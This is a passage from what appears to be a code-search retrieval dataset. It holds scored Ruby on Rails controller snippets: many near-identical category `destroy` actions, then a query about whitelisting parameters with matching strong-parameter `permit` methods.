"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7109459",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7109181",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d665ca3e9d173a86a156538c04b38f92",
"score": "0.7105009",
"text": "def destroy\n @categories_item.destroy\n respond_to do |format|\n format.html { redirect_to categories_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "72f8ed2f3ccb86dfcfdc9b0e6f64dd00",
"score": "0.7102905",
"text": "def destroy\n @category = ::Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to admincp_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "283b502593dcbb2bffa86b86d2583968",
"score": "0.7099272",
"text": "def destroy\n @acticle_category.destroy\n respond_to do |format|\n format.html { redirect_to acticle_categories_url, notice: 'Acticle category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ae37034cdaa938a1ef81a3423a84055",
"score": "0.7093417",
"text": "def destroy\n if @category.destroy\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "04bf26662459fa51310f0ef0457cbca9",
"score": "0.70925385",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04bf26662459fa51310f0ef0457cbca9",
"score": "0.70925385",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04bf26662459fa51310f0ef0457cbca9",
"score": "0.70925385",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04bf26662459fa51310f0ef0457cbca9",
"score": "0.70925385",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04bf26662459fa51310f0ef0457cbca9",
"score": "0.70925385",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ce397cd0fe8754b86561911e821446af",
"score": "0.7082536",
"text": "def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categorias_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ce397cd0fe8754b86561911e821446af",
"score": "0.7082536",
"text": "def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categorias_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "346d41540d28cc4bbd8beaf8fef8979a",
"score": "0.70820993",
"text": "def destroy\n if @category.destroy\n head :no_content\n else\n render json: {errors: @category.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ce7dfffc9c481885383eed61737da5d5",
"score": "0.7081675",
"text": "def destroy\n @categories = Category.where(:category_id => params[:id])\n @categories.each do |categories|\n categories.destroy\n end\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "525c847120abfae5b7d1aabe7402caa2",
"score": "0.70775926",
"text": "def destroy\n @foodcategory = Foodcategory.find(params[:id])\n @foodcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to foodcategories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "14d8e1ba3accfb66f88f62a374467c95",
"score": "0.7073981",
"text": "def destroy\n @category1 = Category1.find(params[:id])\n @category1.destroy\n\n respond_to do |format|\n format.html { redirect_to category1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecc43755dd1891700c5c9b3d96f14ee1",
"score": "0.70720255",
"text": "def destroy\n @catagory.destroy\n respond_to do |format|\n format.html { redirect_to catagories_url, notice: \"Catagory was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb6832ede4039acaeafe3263c944844d",
"score": "0.7071401",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n # update all level\n Category.update_all_level\n \n format.html { redirect_to admin_categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "622203e3421e431d5933ec05693da7a5",
"score": "0.7070834",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "59eba5b87cdd96ab27f18cecee056e07",
"score": "0.7069547",
"text": "def destroy\n @division_category.destroy\n respond_to do |format|\n format.html { redirect_to division_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0ae9857603a2e76f76c8d51438a1a2f2",
"score": "0.7068713",
"text": "def destroy\n @kategorium = Kategorium.find(params[:id])\n @kategorium.destroy\n\n respond_to do |format|\n format.html { redirect_to kategoria_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "52f0340e3ce48eb9da45fbc13a059a27",
"score": "0.7063993",
"text": "def destroy\n @sample_cat = SampleCat.find(params[:id])\n @sample_cat.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_cats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1291a93ab98e678b3a81ee729626e689",
"score": "0.70631677",
"text": "def destroy\n @categories.destroy\n respond_to do |format|\n format.html { redirect_to categories_index_url, notice: 'Categories was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4e6f3c53dc3b30329dd63e59a0b09bb4",
"score": "0.70614934",
"text": "def destroy\n @newscategory = Newscategory.find(params[:id])\n @newscategory.destroy\n\n respond_to do |format|\n format.html { redirect_to newscategories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9925d6fdfd10a71b6b5f4bc8f126450e",
"score": "0.7061102",
"text": "def destroy\n @categoly.destroy\n respond_to do |format|\n format.html { redirect_to categolies_url, notice: 'Categoly was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "98b651a3bbb70fec1a681d2df2f8db24",
"score": "0.7057324",
"text": "def destroy\n @sellable_item_category = SellableItemCategory.find(params[:id])\n @sellable_item_category.destroy\n\n respond_to do |format|\n format.html { redirect_to sellable_item_categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "38d373df2f70e35e79a46c17d289d00e",
"score": "0.70508236",
"text": "def destroy\n @cafeteria_category.destroy\n respond_to do |format|\n format.html { redirect_to cafeteria_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a9d4be8ab6dd2530e0cc992943de3be2",
"score": "0.70488894",
"text": "def destroy\n @large_category.destroy\n respond_to do |format|\n format.html { redirect_to large_categories_url, notice: 'Large category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8b4a4d6b9968516ec70b74c371bf89c6",
"score": "0.7041589",
"text": "def destroy\n @maintenance_category.destroy\n respond_to do |format|\n format.html { redirect_to maintenance_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a95c809635988dbe7e52bb8e6e2cde30",
"score": "0.7037489",
"text": "def destroy\n remove_category_dependencies\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f87d924c21a7dfe5f604462a6fc41900",
"score": "0.7036995",
"text": "def destroy\n @cat_libri.destroy\n respond_to do |format|\n format.html { redirect_to cat_libris_url, notice: 'La categoria è stata eliminata con successo.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3b1a2eea67670c9615d0b5f033f2a590",
"score": "0.70358187",
"text": "def destroy\n @rcategory = Rcategory.find(params[:id])\n @rcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to rcategories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eff35bb4b362e38d581eef152bca28a9",
"score": "0.7032508",
"text": "def destroy\n @categoryall = Categoryall.find(params[:id])\n @categoryall.destroy\n\n respond_to do |format|\n format.html { redirect_to categoryalls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8b528ca0f09101f56fbe8e2ad625b2fe",
"score": "0.7032018",
"text": "def destroy\n @catogary.destroy\n respond_to do |format|\n format.html { redirect_to catogaries_url, notice: 'Catogary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d4fae65dc520b004c9f33ea98008bdd",
"score": "0.70307714",
"text": "def destroy\n @admin_expense_category = Admin::ExpenseCategory.find(params[:id])\n @admin_expense_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_expense_categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "701f07ddfc6ee779f7226a25309bba43",
"score": "0.7029323",
"text": "def destroy\n @root_category.destroy\n respond_to do |format|\n format.html { redirect_to root_categories_url, notice: 'Item Eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0c98f3e52dfad0aeee683a6323d70c61",
"score": "0.70259887",
"text": "def destroy\n @catelogy.destroy\n respond_to do |format|\n format.html { redirect_to catelogies_url, notice: 'Catelogy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "60288f021d2398f1d728359fa1c76aa9",
"score": "0.70258796",
"text": "def destroy\n @medical_cat.destroy\n respond_to do |format|\n format.html { redirect_to medical_cats_url, notice: 'Medical cat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c7b2ace2411c175e05a3dcf3bd122b0f",
"score": "0.70254797",
"text": "def destroy\n @subcategorization = Subcategorization.find(params[:id])\n @subcategorization.destroy\n\n respond_to do |format|\n format.html { redirect_to subcategorizations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a723a6a077e09e386d293d9a808e4be4",
"score": "0.70254344",
"text": "def destroy\n @root_category = RootCategory.find(params[:id])\n @root_category.destroy\n\n respond_to do |format|\n format.html { redirect_to root_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a723a6a077e09e386d293d9a808e4be4",
"score": "0.70254344",
"text": "def destroy\n @root_category = RootCategory.find(params[:id])\n @root_category.destroy\n\n respond_to do |format|\n format.html { redirect_to root_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "68f23c67d9bab4536f534b89e4ba3a49",
"score": "0.7016302",
"text": "def destroy\n @tccategory.destroy\n respond_to do |format|\n format.html { redirect_to tccategories_url, notice: 'Tccategory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db2c7da348ad86e6617a78a5eae104b8",
"score": "0.7011748",
"text": "def destroy\n @uncategory.destroy\n respond_to do |format|\n format.html { redirect_to uncategories_url, notice: 'Uncategory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "377a47a109a98ba55197e51c6539f896",
"score": "0.70101744",
"text": "def destroy\n @c_category = CCategory.find(params[:id])\n @c_category.destroy\n\n respond_to do |format|\n format.html { redirect_to c_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f0fd235ec7e2be001ca289449d6a9cbf",
"score": "0.70097893",
"text": "def destroy\n @therapy_category.destroy\n respond_to do |format|\n format.html { redirect_to therapy_categories_url, notice: 'Therapy category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
a2099a77c85e91272ae2f9e35b937953
|
Only allow a trusted parameter "white list" through.
|
[
{
"docid": "46006e5c43a01d04f6e58fa0fd910734",
"score": "0.0",
"text": "def review_params\n params.require(:review).permit(:content, :rating)\n end",
"title": ""
}
] |
[
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.7121987",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.70541996",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.69483954",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6902367",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6733912",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6717838",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6687021",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6676254",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.66612333",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6555296",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "7ac5f60df8240f27d24d1e305f0e5acb",
"score": "0.6527056",
"text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.6456324",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6450841",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.6450127",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.6447226",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6434961",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "16e18668139bdf8d5ccdbff12c98bd25",
"score": "0.64121825",
"text": "def permitted_params\n declared(params, include_missing: false)\n end",
"title": ""
},
{
"docid": "16e18668139bdf8d5ccdbff12c98bd25",
"score": "0.64121825",
"text": "def permitted_params\n declared(params, include_missing: false)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.63913447",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.63804525",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.63804525",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6373396",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.6360051",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6355191",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.62856233",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.627813",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.62451434",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.6228103",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6224965",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.6222941",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.6210244",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "ff55cf04e6038378f431391ce6314e27",
"score": "0.62077755",
"text": "def additional_permitted_params\n []\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.61762565",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "0d980fc60b69d03c48270d2cd44e279f",
"score": "0.61711127",
"text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6168448",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.6160164",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.61446255",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.6134175",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6120522",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "76d85c76686ef87239ba8207d6d631e4",
"score": "0.6106709",
"text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.60981655",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "2b19f8222e09c2518b0d19b4bf1f69d3",
"score": "0.6076113",
"text": "def list_params\n params.permit(:list_name)\n end",
"title": ""
},
{
"docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3",
"score": "0.60534036",
"text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"title": ""
},
{
"docid": "4f20d784611d82c07d49cf1cf0d6cb7e",
"score": "0.60410434",
"text": "def all_params; end",
"title": ""
},
{
"docid": "5a96718b851794fc3e4409f6270f18fa",
"score": "0.6034582",
"text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"title": ""
},
{
"docid": "ff7bc2f09784ed0b4563cfc89b19831d",
"score": "0.6029977",
"text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"title": ""
},
{
"docid": "6c615e4d8eed17e54fc23adca0027043",
"score": "0.6019861",
"text": "def user_params\n end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "2032edd5ab9475d59be84bdf5595f23a",
"score": "0.60184896",
"text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"title": ""
},
{
"docid": "c59ec134c641678085e086ab2a66a95f",
"score": "0.60157263",
"text": "def permitted_params\n @wfd_edit_parameters\n end",
"title": ""
},
{
"docid": "a8faf8deb0b4ac1bcdd8164744985176",
"score": "0.6005857",
"text": "def user_params\r\n end",
"title": ""
},
{
"docid": "b98f58d2b73eac4825675c97acd39470",
"score": "0.6003803",
"text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.60012573",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.59955895",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.5994598",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.5993604",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "e4c37054b31112a727e3816e94f7be8a",
"score": "0.5983824",
"text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.5983166",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5977431",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "4d77abbae6d3557081c88dad60c735d0",
"score": "0.597591",
"text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"title": ""
},
{
"docid": "55d8ddbada3cd083b5328c1b41694282",
"score": "0.5968824",
"text": "def params_permit\n params.permit(:id)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.5965953",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.59647584",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.59647584",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "4e758c3a3572d7cdd76c8e68fed567e0",
"score": "0.59566855",
"text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"title": ""
},
{
"docid": "3154b9c9e3cd7f0b297f900f73df5d83",
"score": "0.59506303",
"text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"title": ""
},
{
"docid": "b48f61fbb31be4114df234fa7b166587",
"score": "0.5950375",
"text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"title": ""
},
{
"docid": "c4802950f28649fdaed7f35882118f20",
"score": "0.59485626",
"text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5d64cb26ce1e82126dd5ec44e905341c",
"score": "0.59440875",
"text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.5930872",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "da4f66ce4e8c9997953249c3ff03114e",
"score": "0.5930206",
"text": "def argument_params\n params.require(:argument).permit(:name)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5925668",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.59235454",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "be01bb66d94aef3c355e139205253351",
